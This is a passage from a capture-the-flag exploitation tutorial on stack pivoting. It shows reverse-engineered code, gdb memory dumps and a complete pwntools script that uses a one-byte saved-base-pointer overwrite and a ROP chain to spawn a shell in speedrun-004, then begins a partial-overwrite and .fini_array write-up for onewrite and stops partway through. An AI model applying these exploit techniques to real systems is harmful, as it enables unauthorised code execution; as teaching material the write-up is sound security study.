In this function it prompts us for an integer, and if it is between 1-257, it will run the `scanInput` function with the integer we gave it as input. Also the `fgets` , `atoi` , and `print` functions I reversed them by just seeing their arguments and what they did (and named them accordingly), I didn't actually confirm that they were the actual functions correspond to. Looking at `scanInput` , we can see a bug.

```
void scanInput(int iParm1)

{
  undefined input [256];

  input[0] = 0;
  print("Ok, what do you have to say for yourself?");
  fgets(0,input,(long)iParm1);
  FUN_0040ffb0("Interesting thought \"%s\", I\'ll take it into
consideration.\n",input);
  return;
}
```

Here we can see that it is calling `fgets` on the char array `input` which allows us to scan in `size` bytes (the integer we specified earlier). Since we can specify a size up to `0x101` bytes and it is a `0x100` byte space, we have a one byte overflow. Since there is no stack canary and nothing else between `input` and the stack frame, we will have a one byte overflow of the saved base pointer. We will be doing a stack pivot attack.

Stack Pivot Exploit

Before we talk about this, let's talk about stack frames:

```
+-------------+
| stack data |
|      v1    |
|      v2    |
|    input   |
+-------------+
|  base ptr  |
|  insr ptr  |
+-------------+
```

The `stack data` represents the various variables that are kept on the stack (for `scanInput` it would be the `v1` , `v2` , and `input` variables). After that you have two saved values for the `base ptr` for the stack and `insr ptr` for the instructions. Thing is when a `call` instruction is made, these two values are placed in the call stack. That way when the function is done and it returns, it can take the saved base ptr and figure out where the stack is, and take the saved instruction pointer and figure out what code to execute.

The thing is, the saved instruction pointer is stored on top of the saved stack. We can see that here in gdb:

```
gef➤  info frame
Stack level 0, frame at 0x7ffe9fd84120:
 rip = 0x400baf; saved rip = 0x400c44
 called by frame at 0x7ffe9fd84140
 Arglist at 0x7ffe9fd83ff8, args:
 Locals at 0x7ffe9fd83ff8, Previous frame's sp is 0x7ffe9fd84120
 Saved registers:
  rbp at 0x7ffe9fd84110, rip at 0x7ffe9fd84118
gef➤  x/2g 0x7ffe9fd84110
0x7ffe9fd84110: 0x7ffe9fd84130  0x400c44
gef➤  x/2i 0x400c44
   0x400c44:  leave
   0x400c45:  ret
```

We can see that the saved base pointer is `0x7ffe9fd84110` , which immediately following that is `0x400c44` which is the return instruction. This will be executed as soon as the function returns. However we can see that what it does is runs the `leave` and `ret` instructions. When the second `ret` instruction is executed, it will execute the second qword value on the stack (since there have been no variables allocated on the stack, the first qword is the saved base pointer, and the second is the saved instruction pointer). Thus since we get to overwrite the least significant byte of the saved base pointer, we can decide what pointer gets executed with the second return. We can see that the second return happens right after `scanInput` gets called:

```
        00400c3f e8 2f ff        CALL       scanInput
undefined scanInput()
                 ff ff
                             LAB_00400c44
XREF[2]:     00400c21(j), 00400c38(j)
        00400c44 c9              LEAVE
        00400c45 c3              RET
```

Now our input is directly above the base and instruction pointer. Depending on the iteration of the program (since the stack addresses are randomized every time the program runs), we can get the second return instruction to execute a rop chain of ours we inputted on the stack by overwriting the least significant byte with a particular value. Since we don't have an infoleak, I just went with `0x00` (a null byte). I append a ret slide (similar to a nop sled) to the front of the rop chain, that way if execution lands anywhere in there it will just execute return instructions until it starts executing our rop chain. Also when I say ret slide, I mean pointers to the ret instruction, not the ret instructions themselves. Of course doing it this way won't work 100% of the time, however I did get it to work somewhat frequently (like (1/3)-(1/2) of the time). For the ROP Chain it was a pretty standard one to make a syscall to execve, checkout this writeup for more details: https://github.com/guyinatuxedo/ctf/tree/master/defconquals2019/speedrun/s1 (or the static rop chain module)

Here is a quick look at how the memory gets corrupted:

```
stack ────
0x00007fff383d4ba0│+0x0000: 0x0000000000000000   ← $rsp
0x00007fff383d4ba8│+0x0008: 0x0000010100000000
0x00007fff383d4bb0│+0x0010: 0x0000000000000000   ← $rax, $rsi
0x00007fff383d4bb8│+0x0018: 0x000000770000007c ("|"?)
0x00007fff383d4bc0│+0x0020: 0x0000005b0000006e ("n"?)
0x00007fff383d4bc8│+0x0028: 0x00007fff383d4b50  →  0x0000000000000029 (")"?)
0x00007fff383d4bd0│+0x0030: 0x0000000000000001
0x00007fff383d4bd8│+0x0038: 0x0000000000000140
```

```
code:x86:64 ────
     0x400ba0                  lea    rax, [rbp-0x100]
     0x400ba7                  mov    rsi, rax
     0x400baa                  mov    edi, 0x0
 →   0x400baf                  call   0x44a140
   ↳    0x44a140                  mov    eax, DWORD PTR [rip+0x2726c6]        #
0x6bc80c
        0x44a146                  test   eax, eax
        0x44a148                  jne    0x44a160
        0x44a14a                  xor    eax, eax
        0x44a14c                  syscall
        0x44a14e                  cmp    rax, 0xfffffffffffff000
```

```
arguments (guessed) ────
0x44a140 (
   $rdi = 0x0000000000000000,
   $rsi = 0x00007fff383d4bb0 → 0x0000000000000000,
   $rdx = 0x0000000000000101
)
```

```
threads ────
[#0] Id 1, Name: "speedrun-004", stopped, reason: BREAKPOINT
```

```
trace ────
[#0] 0x400baf → call 0x44a140
[#1] 0x400c44 → leave
[#2] 0x400ca2 → mov eax, 0x0
[#3] 0x401239 → mov edi, eax
[#4] 0x400a5a → hlt
```

```
Breakpoint 1, 0x0000000000400baf in ?? ()
gef➤  i f
Stack level 0, frame at 0x7fff383d4cc0:
 rip = 0x400baf; saved rip = 0x400c44
 called by frame at 0x7fff383d4ce0
 Arglist at 0x7fff383d4b98, args:
 Locals at 0x7fff383d4b98, Previous frame's sp is 0x7fff383d4cc0
 Saved registers:
  rbp at 0x7fff383d4cb0, rip at 0x7fff383d4cb8
gef➤  x/g 0x7fff383d4cb0
```

```
0x7fff383d4cb0: 0x7fff383d4cd0
```

We can see here before the `fgets` call that is made that the saved base pointer is `0x7fff383d4cd0`. After the `fgets` call, we can see that the saved base pointer is overwritten to `0x7fff383d4c000`:

```
code:x86:64 ────
     0x400ba7                   mov    rsi, rax
     0x400baa                   mov    edi, 0x0
     0x400baf                   call   0x44a140
 →   0x400bb4                   lea    rax, [rbp-0x100]
     0x400bbb                   mov    rsi, rax
     0x400bbe                   lea    rdi, [rip+0x91a9b]        # 0x492660
     0x400bc5                   mov    eax, 0x0
     0x400bca                   call   0x40ffb0
     0x400bcf                   nop
```

```
threads ────
[#0] Id 1, Name: "speedrun-004", stopped, reason: TEMPORARY BREAKPOINT
```

```
trace ────
[#0] 0x400bb4 → lea rax, [rbp-0x100]
[#1] 0x400c44 → leave
```

```
0x0000000000400bb4 in ?? ()
gef➤  i f
Stack level 0, frame at 0x7fff383d4cc0:
 rip = 0x400bb4; saved rip = 0x400c44
 called by frame at 0x7fff383d4c10
 Arglist at 0x7fff383d4b98, args:
 Locals at 0x7fff383d4b98, Previous frame's sp is 0x7fff383d4cc0
 Saved registers:
  rbp at 0x7fff383d4cb0, rip at 0x7fff383d4cb8
gef➤  x/g 0x7fff383d4cb0
0x7fff383d4cb0: 0x7fff383d4c00
gef➤  x/2g 0x7fff383d4c00
0x7fff383d4c00: 0x400416  0x400416
gef➤  x/i 0x400416
   0x400416:  ret
gef➤  x/22g 0x7fff383d4c00
0x7fff383d4c00: 0x0000000000400416  0x0000000000400416
0x7fff383d4c10: 0x0000000000400416  0x0000000000400416
0x7fff383d4c20: 0x0000000000400416  0x0000000000400416
0x7fff383d4c30: 0x0000000000400416  0x0000000000400416
0x7fff383d4c40: 0x0000000000415f04  0x00000000006b6030
0x7fff383d4c50: 0x000000000044a155  0x0068732f6e69622f
0x7fff383d4c60: 0x000000000048d301  0x0000000000415f04
0x7fff383d4c70: 0x000000000000003b  0x0000000000400686
0x7fff383d4c80: 0x00000000006b6030  0x0000000000410a93
0x7fff383d4c90: 0x0000000000000000  0x000000000044a155
0x7fff383d4ca0: 0x0000000000000000  0x000000000040132c
```

So we can see that the saved base pointer has been overwritten to `0x7fff383d4c00` which will cause the instruction address at `0x7fff383d4c08` to be executed with the second `ret`, which will be one of the gadgets for the ret slide. When it returns, we can see it starts off with the `leave/ret` instructions at `0x400c44`:

```
code:x86:64 ────
     0x400bca                  call   0x40ffb0
     0x400bcf                  nop
     0x400bd0                  leave
 →   0x400bd1                  ret
   ↳    0x400c44                  leave
        0x400c45                  ret
        0x400c46                  push   rbp
        0x400c47                  mov    rbp, rsp
        0x400c4a                  sub    rsp, 0x10
        0x400c4e                  mov    DWORD PTR [rbp-0x4], edi
```

```
threads ────
```

Procceding that we can see that the ret instructions that are part of our retslide that are executed:

```
code:x86:64 ────
     0x400c39                  or     cl, BYTE PTR [rbx-0x387603bb]
     0x400c3f                  call   0x400b73
     0x400c44                  leave
 →   0x400c45                  ret
   ↳    0x400416                  ret
        0x400417                  add    bh, bh
        0x400419                  and    eax, 0x2b8bfa
        0x40041e                  xchg   ax, ax
        0x400420                  jmp    QWORD PTR [rip+0x2b8bfa]        #
0x6b9020
        0x400426                  xchg   ax, ax
```

```
threads ────
```

After that we can see the beginning of our ROP chain is executed, which gives us code execution:

```
code:x86:64 ────
 →   0x415f04                  pop    rax
     0x415f05                  ret
     0x415f06                  (bad)
     0x415f07                  inc    DWORD PTR [rbx-0x6bf00008]
     0x415f0d                  rol    BYTE PTR [rax+rax*8-0x74b7458b], 0x53
     0x415f15                  sub    cl, ch
```

```
threads ────
```

Exploit

Putting it all together, we get the following exploit:

```
from pwn import *

target = process('./speedrun-004')
#gdb.attach(target, gdbscript = 'b *0x400baf')

# Establish rop gadgets
popRax = p64(0x415f04)
popRdi = p64(0x400686)
popRsi = p64(0x410a93)
popRdx = p64(0x44a155)

syscall = p64(0x40132c)

ret = p64(0x400416)

# 0x000000000048d301 : mov qword ptr [rax], rdx ; ret
mov = p64(0x48d301)

# bss adress we write to
bss = p64(0x6b6030)

binsh = p64(0x0068732f6e69622f)

# Our Rop chain
# Checkout https://github.com/guyinatuxedo/ctf/tree/master/defconquals2019
/speedrun/s1
# for more details on how to make it
rop = ""
rop += popRax
rop += bss
rop += popRdx
rop += binsh
rop += mov

rop += popRax
rop += p64(0x3b)

rop += popRdi
rop += bss

rop += popRsi
rop += p64(0)
rop += popRdx
rop += p64(0)

rop += syscall

# Make the payload
# Append the rop chain to after the ret gadget slide
# Overwrite least significant byte of saved base pointer with 0x00
payload = ret*((256 - len(rop)) / 8) + rop + "\x00"
```

```
# Specify we are sending 257 bytes
target.sendline('257')

# Pause to ensure I/O purposes
raw_input()

# Send the payload
target.sendline(payload)

target.interactive()
```

After we run it a few times:

```
$ python exploit.py
[+] Starting local process './speedrun-004': pid 10089
w
[*] Switching to interactive mode
i think i'm getting better at this coding thing.
how much do you have to say?
Ok, what do you have to say for yourself?
Interesting thought "\x16\x04@", I'll take it into consideration.
$ w
 23:23:24 up  2:45,  1 user,  load average: 0.84, 0.83, 1.25
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
guyinatu :0       :0               20:38   ?xdm?  10:57   0.00s /usr/lib
/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu /usr/bin
/gnome-session --session=ubuntu
$ ls
core  exploit.py  readme.md  speedrun-004
[*] Got EOF while reading in interactive
```

Just like that, we got a shell!

insomnihack 2018 onewrite

Let's take a look at the binary:

```
$    file onewrite
onewrite: ELF 64-bit LSB pie executable, x86-64, version 1 (GNU/Linux),
dynamically linked, for GNU/Linux 3.2.0, with debug_info, not stripped
$    pwn checksec onewrite
[!] Did not find any GOT entries
[*] '/Hackery/pod/modules/stack_pivot/insomnihack18_onewrite/onewrite'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
$    ./onewrite
All you need to pwn nowadays is a leak and a qword write they say...
What do you want to leak ?
1. stack
2. pie
 > 1
0x7ffe246ac1a0
address : 0x7ffe246ac1a0
data : 5
```

So we can see that we are dealing with a `64` bit binary with a Stack Canary, NX, and PIE. When we run it, it appears to give us a choice between a stack or PIE infoleak. After that, it looks like it gives us a write to a region of memory we specify.

Reversing

When we take a look at the main function in Ghidra, we see this:

```
void main(void)

{
  setvbuf((FILE *)stdin,(char *)0x0,2,0);
  setvbuf((FILE *)stdout,(char *)0x0,2,0);
  puts("All you need to pwn nowadays is a leak and a qword write they say...");
  do_leak();
  return;
}
```

So we can see it prints some text, and calls `do_leak` :

```
void do_leak(void)

{
  long choice;
  undefined auStack24 [8];
  undefined *do_leak_adr;

  do_leak_adr = do_leak;
  puts("What do you want to leak ?");
  puts("1. stack");
  puts("2. pie");
  printf(" > ");
  choice = read_int();
  if (choice == 1) {
    printf("%p\n",auStack24);
  }
  else {
    if (choice == 2) {
      printf("%p\n",do_leak_adr);
    }
    else {
      puts("Nope");
    }
  }
  do_overwrite();
  return;
}
```

So we can see it prompts us for a choice. If we choose `1`, it will print the address of `auStack24` and give us a stack infoleak. If we choose `2`, it will print the address of the `do_leak` function and give us a PIE infoleak. So we essentially get a choice between either a PIE or a stack infoleak. Then it calls `do_overwrite`:

```
void do_overwrite(void)

{
  void *ptr;

  printf("address : ");
  ptr = (void *)read_int();
  printf("data : ");
  read(0,ptr,8);
  return;
}
```

Here we can see it prompts for an address with `read_int` and stores it in `ptr`. It then let's us write `8` bytes (a QWORD) to `ptr`. So essentially we have a single QWORD write to an address that we specify, with data that we control.

Exploitation

So our exploit will have two parts. The first is we will use a partial overwrite to call the `do_leak` function multiple times, to get both a stack and PIE infoleaks. Then we will write to the `fini_array` to essentially give us as many writes as we want. Using that we will write our rop chain to memory. Proceeding that we will just call a gadget which will pivot the stack to execute our rop chain.

Infoleaks / Partial Overwrites

So for the first run through, we will choose the stack infoleak. Using this we will be able to know where the saved return address for `do_leak` is. Let's find the offset using pwntools and gdb:

We set a breakpoint for the `ret` instruction in `do_leak` :

```
Breakpoint 1, 0x00007f6814bc3ab7 in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────── registers ────
$rax   : 0x1
$rbx   : 0x00007f6814bc3060  →   sub rsp, 0x8
$rcx   : 0x0
$rdx   : 0x8
$rsp   : 0x00007ffe8c136818  →  0x00007f6814bc3b09  →   nop
$rbp   : 0x00007f6814bc4780  →   push r15
$rsi   : 0x00007ffe8c136800  →  0x00007f6814bc4704  →  0x2a9c3b3d894c002a ("*"?)
$rdi   : 0x0
$rip   : 0x00007f6814bc3ab7  →   ret
$r8    : 0x00007f68152da880  →  0x00007f68152da880  →  [loop detected]
$r9    : 0x0
$r10   : 0x00007f6814c49840  →   add BYTE PTR [rax], al
$r11   : 0x0000000000000246
$r12   : 0x00007f6814bc4810  →   push rbp
$r13   : 0x0
$r14   : 0x0
$r15   : 0x0
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
──────────────────────────────────────────────────────────────────── stack ────
0x00007ffe8c136818│+0x0000: 0x00007f6814bc3b09  →   nop    ← $rsp
0x00007ffe8c136820│+0x0008: 0x00007f6814bc3060  →   sub rsp, 0x8
0x00007ffe8c136828│+0x0010: 0x00007f6814bc4089  →   mov edi, eax
0x00007ffe8c136830│+0x0018: 0x0000000000000000
0x00007ffe8c136838│+0x0020: 0x0000000100000000
0x00007ffe8c136840│+0x0028: 0x00007ffe8c136948  →  0x00007ffe8c1373de  →
"./onewrite"
0x00007ffe8c136848│+0x0030: 0x00007f6814bc3ab8  →   sub rsp, 0x8
0x00007ffe8c136850│+0x0038: 0x0000000000000000
────────────────────────────────────────────────────────────── code:x86:64 ────
   0x7f6814bc3aad                  call   0x7f6814bc39c3
   0x7f6814bc3ab2                  nop
   0x7f6814bc3ab3                  add    rsp, 0x18
 → 0x7f6814bc3ab7                  ret
   ↳  0x7f6814bc3b09                  nop
      0x7f6814bc3b0a                  add    rsp, 0x8
      0x7f6814bc3b0e                  ret
      0x7f6814bc3b0f                  nop
      0x7f6814bc3b10                  push   rbx
      0x7f6814bc3b11                  sub    rsp, 0x88
────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "onewrite", stopped, reason: BREAKPOINT
──────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7f6814bc3ab7 → ret
[#1] 0x7f6814bc3b09 → nop
[#2] 0x7f6814bc3060 → sub rsp, 0x8
[#3] 0x7f6814bc4089 → mov edi, eax
───────────────────────────────────────────────────────────────────────────────
```

```
gef➤  i f
Stack level 0, frame at 0x7ffe8c136818:
 rip = 0x7f6814bc3ab7; saved rip = 0x7f6814bc3b09
 called by frame at 0x7ffe8c136828
 Arglist at 0x7ffe8c136810, args:
 Locals at 0x7ffe8c136810, Previous frame's sp is 0x7ffe8c136820
 Saved registers:
  rip at 0x7ffe8c136818
```

So we can see that the saved return address is stored at `0x7ffe8c136818` and points to `0x7f6814bc3b09`. That address corresponds to `0x00108b09` in `do_leak`. The address we leaked was `0x7ffe8c136800`. Then the offset to the saved return address for `do_leak` from the address we have leaked is `0x7ffe8c136818 - 0x7ffe8c136800 = 0x18`

```
        00108aff e8 5c 84        CALL       puts
int puts(char * __s)
                 00 00
        00108b04 e8 0c ff        CALL       do_leak
undefined do_leak()
                 ff ff
        00108b09 90              NOP
        00108b0a 48 83 c4 08     ADD        RSP,0x8
```

What we can do here is a partial overwrite. That is where we only overwrite only a part of the saved return instruction. Because PIE works by addressing all instructions to an address and adding that to whatever the base instruction is, we can overwrite the last byte of the instruction address which will let us jump within a certain range around the original address, without having to use an infoleak or brute force the address. This can work since most of the time the base address for PIE ends in a null byte (which we can see here):

```
gef➤  vmmap
Start              End                Offset             Perm Path
0x00007f6814bbb000 0x00007f6814c69000 0x0000000000000000 r-x /Hackery
/pod/modules/stack_pivot/insomnihack18_onewrite/onewrite
0x00007f6814e68000 0x00007f6814e6f000 0x00000000000ad000 rw- /Hackery
/pod/modules/stack_pivot/insomnihack18_onewrite/onewrite
0x00007f6814e6f000 0x00007f6814e70000 0x0000000000000000 rw-
0x00007f68152da000 0x00007f68152fd000 0x0000000000000000 rw- [heap]
0x00007ffe8c117000 0x00007ffe8c138000 0x0000000000000000 rw- [stack]
0x00007ffe8c1ee000 0x00007ffe8c1f1000 0x0000000000000000 r-- [vvar]
0x00007ffe8c1f1000 0x00007ffe8c1f2000 0x0000000000000000 r-x [vdso]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
```

So we will overwrite the least significant byte of the return address to be `0x04` in stead of `0x09`. This way it will point to the `CALL       do_leak` instruction, so when it returns it will call `do_leak` again and we can choose the `PIE` infoleak. With that, we will have both a stack and a PIE infoleak.

Fini array / Writing ROP Chain

So we are able to call `do_leak` again, however it takes our QWORD write each time we do it, so past the initial infoleaks it doesn't serve much of a purpose past that. We will write a hook to the `_fini_array` table, that contains a list of functions which will be called when the program ends. That way we can have the program call `do_overwrite` when it exits. Also since after a function is ran, it moves on to the next entry, we will need to write at least two entries for the `do_overwrite` address to the `_fini_array`. We can see that it is `0x10` bytes large, which will work for this:

```
gef➤  info files
Symbols from "/Hackery/pod/modules/stack_pivot/insomnihack18_onewrite/onewrite".
Native process:
  Using the running image of child process 6946.
  While running this, GDB does not access memory from...
Local exec file:
  `/Hackery/pod/modules/stack_pivot/insomnihack18_onewrite/onewrite', file type
elf64-x86-64.
  Entry point: 0x7ffff7d528b0
  0x00007ffff7d4a200 - 0x00007ffff7d4a220 is .note.ABI-tag
  0x00007ffff7d4a220 - 0x00007ffff7d4a23c is .gnu.hash
  0x00007ffff7d4a240 - 0x00007ffff7d4a258 is .dynsym
  0x00007ffff7d4a258 - 0x00007ffff7d4a259 is .dynstr
  0x00007ffff7d4a260 - 0x00007ffff7d51e38 is .rela.dyn
  0x00007ffff7d51e38 - 0x00007ffff7d52060 is .rela.plt
  0x00007ffff7d52060 - 0x00007ffff7d52077 is .init
  0x00007ffff7d52080 - 0x00007ffff7d52280 is .plt
  0x00007ffff7d52280 - 0x00007ffff7d522e0 is .plt.got
  0x00007ffff7d522e0 - 0x00007ffff7dd11a0 is .text
  0x00007ffff7dd11a0 - 0x00007ffff7dd1f6c is __libc_freeres_fn
  0x00007ffff7dd1f70 - 0x00007ffff7dd208b is __libc_thread_freeres_fn
  0x00007ffff7dd208c - 0x00007ffff7dd2095 is .fini
  0x00007ffff7dd20a0 - 0x00007ffff7deb25c is .rodata
  0x00007ffff7deb25c - 0x00007ffff7dece98 is .eh_frame_hdr
  0x00007ffff7dece98 - 0x00007ffff7df73bc is .eh_frame
  0x00007ffff7df73bc - 0x00007ffff7df746b is .gcc_except_table
  0x00007ffff7ff7f80 - 0x00007ffff7ff7fa0 is .tdata
  0x00007ffff7ff7fa0 - 0x00007ffff7ff7fd0 is .tbss
  0x00007ffff7ff7fa0 - 0x00007ffff7ff7fb0 is .init_array
  0x00007ffff7ff7fb0 - 0x00007ffff7ff7fc0 is .fini_array
  0x00007ffff7ff7fc0 - 0x00007ffff7ffad54 is .data.rel.ro
  0x00007ffff7ffad58 - 0x00007ffff7ffaef8 is .dynamic
  0x00007ffff7ffaef8 - 0x00007ffff7ffaff0 is .got
  0x00007ffff7ffb000 - 0x00007ffff7ffb110 is .got.plt
  0x00007ffff7ffb120 - 0x00007ffff7ffcbf0 is .data
  0x00007ffff7ffcbf0 - 0x00007ffff7ffcc38 is __libc_subfreeres
  0x00007ffff7ffcc40 - 0x00007ffff7ffd2e8 is __libc_IO_vtables
  0x00007ffff7ffd2e8 - 0x00007ffff7ffd2f0 is __libc_atexit
  0x00007ffff7ffd2f0 - 0x00007ffff7ffd2f8 is __libc_thread_subfreeres
  0x00007ffff7ffd300 - 0x00007ffff7ffe9b8 is .bss
  0x00007ffff7ffe9b8 - 0x00007ffff7ffe9e0 is __libc_freeres_ptrs
  0x00007ffff7ff6120 - 0x00007ffff7ff615c is .hash in system-supplied DSO at
0x7ffff7ff6000
  0x00007ffff7ff6160 - 0x00007ffff7ff61a8 is .gnu.hash in system-supplied DSO at
0x7ffff7ff6000
  0x00007ffff7ff61a8 - 0x00007ffff7ff6298 is .dynsym in system-supplied DSO at
0x7ffff7ff6000
  0x00007ffff7ff6298 - 0x00007ffff7ff62f6 is .dynstr in system-supplied DSO at
0x7ffff7ff6000
  0x00007ffff7ff62f6 - 0x00007ffff7ff630a is .gnu.version in system-supplied DSO
at 0x7ffff7ff6000
  0x00007ffff7ff6310 - 0x00007ffff7ff6348 is .gnu.version_d in system-supplied
```

```
DSO at 0x7ffff7ff6000
  0x00007ffff7ff6348 - 0x00007ffff7ff6468 is .dynamic in system-supplied DSO at
0x7ffff7ff6000
  0x00007ffff7ff6468 - 0x00007ffff7ff64bc is .note in system-supplied DSO at
0x7ffff7ff6000
  0x00007ffff7ff64bc - 0x00007ffff7ff64f0 is .eh_frame_hdr in system-supplied
DSO at 0x7ffff7ff6000
  0x00007ffff7ff64f0 - 0x00007ffff7ff65e0 is .eh_frame in system-supplied DSO at
0x7ffff7ff6000
  0x00007ffff7ff65e0 - 0x00007ffff7ff688a is .text in system-supplied DSO at
0x7ffff7ff6000
  0x00007ffff7ff688a - 0x00007ffff7ff68e5 is .altinstructions in system-supplied
DSO at 0x7ffff7ff6000
  0x00007ffff7ff68e5 - 0x00007ffff7ff68fb is .altinstr_replacement in system-
supplied DSO at 0x7ffff7ff6000
gef➤  vmmap
Start              End                Offset             Perm Path
0x00007ffff7d4a000 0x00007ffff7df8000 0x0000000000000000 r-x /Hackery
/pod/modules/stack_pivot/insomnihack18_onewrite/onewrite
0x00007ffff7ff3000 0x00007ffff7ff6000 0x0000000000000000 r-- [vvar]
0x00007ffff7ff6000 0x00007ffff7ff7000 0x0000000000000000 r-x [vdso]
0x00007ffff7ff7000 0x00007ffff7ffe000 0x00000000000ad000 rw- /Hackery
/pod/modules/stack_pivot/insomnihack18_onewrite/onewrite
0x00007ffff7ffe000 0x00007ffff8022000 0x0000000000000000 rw- [heap]
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
```

So we can see that the `.fini_array` is between `0x00007ffff7ff7fb0 - 0x00007ffff7ff7fc0` which gives us `0x10` bytes to work with. This will work for what we need to do. Also we can see it is mapped to a PIE region of memory between `0x00007ffff7ff7000 - 0x00007ffff7ffe000`, so using our infoleaks we know where `.fini_array` is.

So we will have two entries in the `.fini_array` that will give us two separate QWORD writes. We will use the first one to write what address we want, where we want it. The second write we will use to write the address of `__libc_csu_fini` (located at PIE offset `0x9810`) to the saved return address for `__libc_csu_fini`. Since `__libc_csu_fini` is responsible for calling the functions in the `.fini_array`. So calling it will give us another run through the `.fini_array` entries.

Also since entries from the `.fini_array` are called in reverse order, we will want to write to the second entry first. Then we will write to the first entry, and when it is executed we will be able to restart the loop.

Also one more thing. Each time we call `__libc_csu_fini`, due to how the memory works the saved return address will shift the address that we use for `__libc_csu_fini` on the stack up by `0x8`. We can find the offset for it's return address the usual way (see where the return address is stored, and calculate the offset from our infoleak).

For the ROP gadget, turns out the binary has all of the gadgets needed to pop a shell. So we won't be needing to use gadgets from libc.

A lot of the output from these commands were omitted for the sake of making it look readable:

```
$ python ROPgadget.py --binary onewrite | grep "pop rdi"
0x00000000000084fa : pop rdi ; ret
$ python ROPgadget.py --binary onewrite | grep "pop rsi"
0x000000000000d9f2 : pop rsi ; ret
$ python ROPgadget.py --binary onewrite | grep "pop rdx"
0x00000000000484c5 : pop rdx ; ret
$ python ROPgadget.py --binary onewrite | grep "pop rax"
0x00000000000460ac : pop rax ; ret
$ python ROPgadget.py --binary onewrite | grep "syscall"
0x0000000000073baf : syscall
$ python ROPgadget.py --binary onewrite | grep "add rsp"
```

The `add rsp` gadget at the end we will cover later. However we can see that we have all of the gadgets we need to make an `execve` syscall from just using gadgets from the `PIE` section of memory. For writing the string `/bin/sh\x00` we can just use the QWORD write loop to write that to memory. Looking through the memory, we find a place that might work to write `/bin/sh` in the bss:

```
gef➤  vmmap
Start              End                Offset             Perm Path
0x00007fd53eb27000 0x00007fd53ebd5000 0x0000000000000000 r-x /Hackery
/pod/modules/stack_pivot/insomnihack18_onewrite/onewrite
0x00007fd53edd4000 0x00007fd53eddb000 0x00000000000ad000 rw- /Hackery
/pod/modules/stack_pivot/insomnihack18_onewrite/onewrite
0x00007fd53eddb000 0x00007fd53eddc000 0x0000000000000000 rw-
0x00007fd53f879000 0x00007fd53f89c000 0x0000000000000000 rw- [heap]
0x00007ffee6f8d000 0x00007ffee6fae000 0x0000000000000000 rw- [stack]
0x00007ffee6fd6000 0x00007ffee6fd9000 0x0000000000000000 r-- [vvar]
0x00007ffee6fd9000 0x00007ffee6fda000 0x0000000000000000 r-x [vdso]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤  info files
Symbols from "/Hackery/pod/modules/stack_pivot/insomnihack18_onewrite/onewrite".
Native process:
  Using the running image of attached process 8583.
  While running this, GDB does not access memory from...
Local exec file:
  `/Hackery/pod/modules/stack_pivot/insomnihack18_onewrite/onewrite', file type
elf64-x86-64.
  Entry point: 0x88b0
  0x00007ffee6fd9120 - 0x00007ffee6fd915c is .hash in system-supplied DSO at
0x7ffee6fd9000
  0x00007ffee6fd9160 - 0x00007ffee6fd91a8 is .gnu.hash in system-supplied DSO at
0x7ffee6fd9000
  0x00007ffee6fd91a8 - 0x00007ffee6fd9298 is .dynsym in system-supplied DSO at
0x7ffee6fd9000
  0x00007ffee6fd9298 - 0x00007ffee6fd92f6 is .dynstr in system-supplied DSO at
0x7ffee6fd9000
  0x00007ffee6fd92f6 - 0x00007ffee6fd930a is .gnu.version in system-supplied DSO
at 0x7ffee6fd9000
  0x00007ffee6fd9310 - 0x00007ffee6fd9348 is .gnu.version_d in system-supplied
DSO at 0x7ffee6fd9000
  0x00007ffee6fd9348 - 0x00007ffee6fd9468 is .dynamic in system-supplied DSO at
0x7ffee6fd9000
  0x00007ffee6fd9468 - 0x00007ffee6fd94bc is .note in system-supplied DSO at
0x7ffee6fd9000
  0x00007ffee6fd94bc - 0x00007ffee6fd94f0 is .eh_frame_hdr in system-supplied
DSO at 0x7ffee6fd9000
  0x00007ffee6fd94f0 - 0x00007ffee6fd95e0 is .eh_frame in system-supplied DSO at
0x7ffee6fd9000
  0x00007ffee6fd95e0 - 0x00007ffee6fd988a is .text in system-supplied DSO at
0x7ffee6fd9000
  0x00007ffee6fd988a - 0x00007ffee6fd98e5 is .altinstructions in system-supplied
DSO at 0x7ffee6fd9000
  0x00007ffee6fd98e5 - 0x00007ffee6fd98fb is .altinstr_replacement in system-
supplied DSO at 0x7ffee6fd9000
  0x0000000000000200 - 0x0000000000000220 is .note.ABI-tag
  0x0000000000000220 - 0x000000000000023c is .gnu.hash
  0x0000000000000240 - 0x0000000000000258 is .dynsym
  0x0000000000000258 - 0x0000000000000259 is .dynstr
  0x0000000000000260 - 0x0000000000007e38 is .rela.dyn
```

```
0x0000000000007e38 - 0x0000000000008060 is .rela.plt
0x0000000000008060 - 0x0000000000008077 is .init
0x0000000000008080 - 0x0000000000008280 is .plt
0x0000000000008280 - 0x00000000000082e0 is .plt.got
0x00000000000082e0 - 0x00000000000871a0 is .text
0x00000000000871a0 - 0x0000000000087f6c is __libc_freeres_fn
0x0000000000087f70 - 0x000000000008808b is __libc_thread_freeres_fn
0x000000000008808c - 0x0000000000088095 is .fini
0x00000000000880a0 - 0x00000000000a125c is .rodata
0x00000000000a125c - 0x00000000000a2e98 is .eh_frame_hdr
0x00000000000a2e98 - 0x00000000000ad3bc is .eh_frame
0x00000000000ad3bc - 0x00000000000ad46b is .gcc_except_table
0x00000000002adf80 - 0x00000000002adfa0 is .tdata
0x00000000002adfa0 - 0x00000000002adfd0 is .tbss
0x00000000002adfa0 - 0x00000000002adfb0 is .init_array
0x00000000002adfb0 - 0x00000000002adfc0 is .fini_array
0x00000000002adfc0 - 0x00000000002b0d54 is .data.rel.ro
0x00000000002b0d58 - 0x00000000002b0ef8 is .dynamic
0x00000000002b0ef8 - 0x00000000002b0ff0 is .got
0x00000000002b1000 - 0x00000000002b1110 is .got.plt
